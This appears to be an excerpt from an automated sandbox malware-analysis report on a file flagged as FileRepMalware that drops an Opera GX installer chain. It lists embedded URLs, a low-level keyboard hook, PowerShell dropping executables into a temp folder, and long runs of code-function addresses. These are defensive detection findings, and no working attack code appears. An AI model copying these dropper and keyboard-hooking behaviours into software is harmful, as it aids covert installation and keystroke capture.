      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://www.opera.com
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://www.opera.com..
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://www.opera.com/gx/
      Source: installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://www.opera.com/privacy
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.rambler.ru/favicon.ico
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000003.1318438752.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000003.1317502919.0000000002610000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000000.1321065649.0000000000401000.00000020.00000001.01000000.00000004.sdmpString found in binary or memory: https://www.remobjects.com/ps
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.seznam.cz/favicon.ico
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmp, installer.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.so.com/favicon.ico
      Source: installer.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.so.com/favicon.icocss/searchstyle_360.cssimages/logo_360.png
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.so.com/s?src=lm&ls=sm2297808&lm_extend=ctype:31&q=
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://www.whatsapp.com/legal;
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.yahoo.co.jp/favicon.ico
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://yandex.com.tr/search/?clid=1669559&text=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://yandex.fr/search/?clid=2358536&text=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://yandex.ua/search/?clid=2358536&text=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://yastatic.net/s3/home-static/_/92/929b10d17990e806734f68758ec917ec.png
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://yastatic.net/s3/home-static/_/f4/f47b1b3d8194c36ce660324ab55a04fe.png

      Key, Mouse, Clipboard, Microphone and Screen Capturing

      barindex
      Contains functionality to register a low level keyboard hook
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_00408643 SetWindowsHookExW 00000002,Function_00008615,00000000,0000000019_2_00408643
      Installs a global event hook (focus changed)
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeWindows user hook set: Path: unknown Event Start:focus Event End: focus Module: NULL
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4Jump to dropped file

      System Summary

      barindex
      Powershell drops PE file
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_2.exeJump to dropped file
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00712770: CreateFileW,DeviceIoControl,GetLastError,20_2_00712770
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00754EE0 SetHandleInformation,SetHandleInformation,CreateEnvironmentBlock,CreateProcessAsUserW,DestroyEnvironmentBlock,GetEnvironmentStringsW,FreeEnvironmentStringsW,CreateProcessW,AssignProcessToJobObject,AllowSetForegroundWindow,WaitForSingleObject,20_2_00754EE0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_0040575019_2_00405750
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_0041304B19_2_0041304B
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_0040AD4019_2_0040AD40
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_0041291019_2_00412910
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_004132E319_2_004132E3
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_00412F7119_2_00412F71
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0076F1B420_2_0076F1B4
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0076B18D20_2_0076B18D
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0076F78220_2_0076F782
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00740EE020_2_00740EE0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007B206C20_2_007B206C
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007BD01420_2_007BD014
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0083118920_2_00831189
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_006FA17020_2_006FA170
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0083313020_2_00833130
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007B11A620_2_007B11A6
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0071918020_2_00719180
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007622C020_2_007622C0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0070029020_2_00700290
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0074737020_2_00747370
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_006FF3EC20_2_006FF3EC
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007813D420_2_007813D4
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0074441020_2_00744410
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007794F020_2_007794F0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007094D220_2_007094D2
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007554D020_2_007554D0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0083243A20_2_0083243A
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007B949420_2_007B9494
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007E35F420_2_007E35F4
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0071074620_2_00710746
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0074473020_2_00744730
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0073D7D020_2_0073D7D0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007007C020_2_007007C0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0084C89C20_2_0084C89C
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007448E020_2_007448E0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0083086420_2_00830864
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0077A9F020_2_0077A9F0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0084C95420_2_0084C954
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007BD98E20_2_007BD98E
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_006FDA7820_2_006FDA78
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00832ACB20_2_00832ACB
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00748AC020_2_00748AC0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0082FBCF20_2_0082FBCF
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0075FB0020_2_0075FB00
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00851B4120_2_00851B41
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0070BC7020_2_0070BC70
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00706C7620_2_00706C76
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00755D1020_2_00755D10
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007E6D0E20_2_007E6D0E
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00783DE020_2_00783DE0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00854EB620_2_00854EB6
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0078FE3020_2_0078FE30
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00748EC020_2_00748EC0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0070DF4020_2_0070DF40
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0082BFB020_2_0082BFB0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_006FFFC020_2_006FFFC0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007B206C21_2_007B206C
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007E6D0E21_2_007E6D0E
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_006FA17021_2_006FA170
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007622C021_2_007622C0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0070029021_2_00700290
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0074441021_2_00744410
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0083243A21_2_0083243A
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0072848021_2_00728480
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0071074621_2_00710746
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0074473021_2_00744730
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007007C021_2_007007C0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0084C89C21_2_0084C89C
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007448E021_2_007448E0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0083086421_2_00830864
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0077A9F021_2_0077A9F0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0084C95421_2_0084C954
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00832ACB21_2_00832ACB
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00748AC021_2_00748AC0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00706C7621_2_00706C76
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00854EB621_2_00854EB6
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00740EE021_2_00740EE0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00748EC021_2_00748EC0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007BD01421_2_007BD014
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0083118921_2_00831189
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0083313021_2_00833130
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0076F1B421_2_0076F1B4
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007B11A621_2_007B11A6
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0071918021_2_00719180
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0076B18D21_2_0076B18D
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0074737021_2_00747370
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_006FF3EC21_2_006FF3EC
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007813D421_2_007813D4
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007794F021_2_007794F0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007094D221_2_007094D2
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007554D021_2_007554D0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007B949421_2_007B9494
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007E35F421_2_007E35F4
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0073D7D021_2_0073D7D0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0076F78221_2_0076F782
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007BD98E21_2_007BD98E
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_006FDA7821_2_006FDA78
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00833A9D21_2_00833A9D
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0082FBCF21_2_0082FBCF
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0075FB0021_2_0075FB00
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00851B4121_2_00851B41
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0070BC7021_2_0070BC70
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00755D1021_2_00755D10
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00783DE021_2_00783DE0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0078FE3021_2_0078FE30
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0070DF4021_2_0070DF40
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0082BFB021_2_0082BFB0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_006FFFC021_2_006FFFC0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: String function: 0073C9E0 appears 79 times
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: String function: 0082A840 appears 79 times
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: String function: 00847CF8 appears 43 times
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: String function: 00738B80 appears 31 times
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: String function: 0073BEC0 appears 250 times
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: String function: 006F1741 appears 389 times
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: String function: 0073B9C0 appears 130 times
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: String function: 00730C44 appears 42 times
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: String function: 008442D0 appears 113 times
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: String function: 00730AA2 appears 34 times
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: String function: 0073BE50 appears 78 times
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: String function: 006F3696 appears 120 times
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: String function: 004026DC appears 38 times
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp.1.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
      Source: setup.exe.8.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
      Source: setup.exe.10.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
      Source: installer.exe.13.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (console) x86-64, for MS Windows
      Source: mojo_core.dll.13.drStatic PE information: Number of sections : 11 > 10
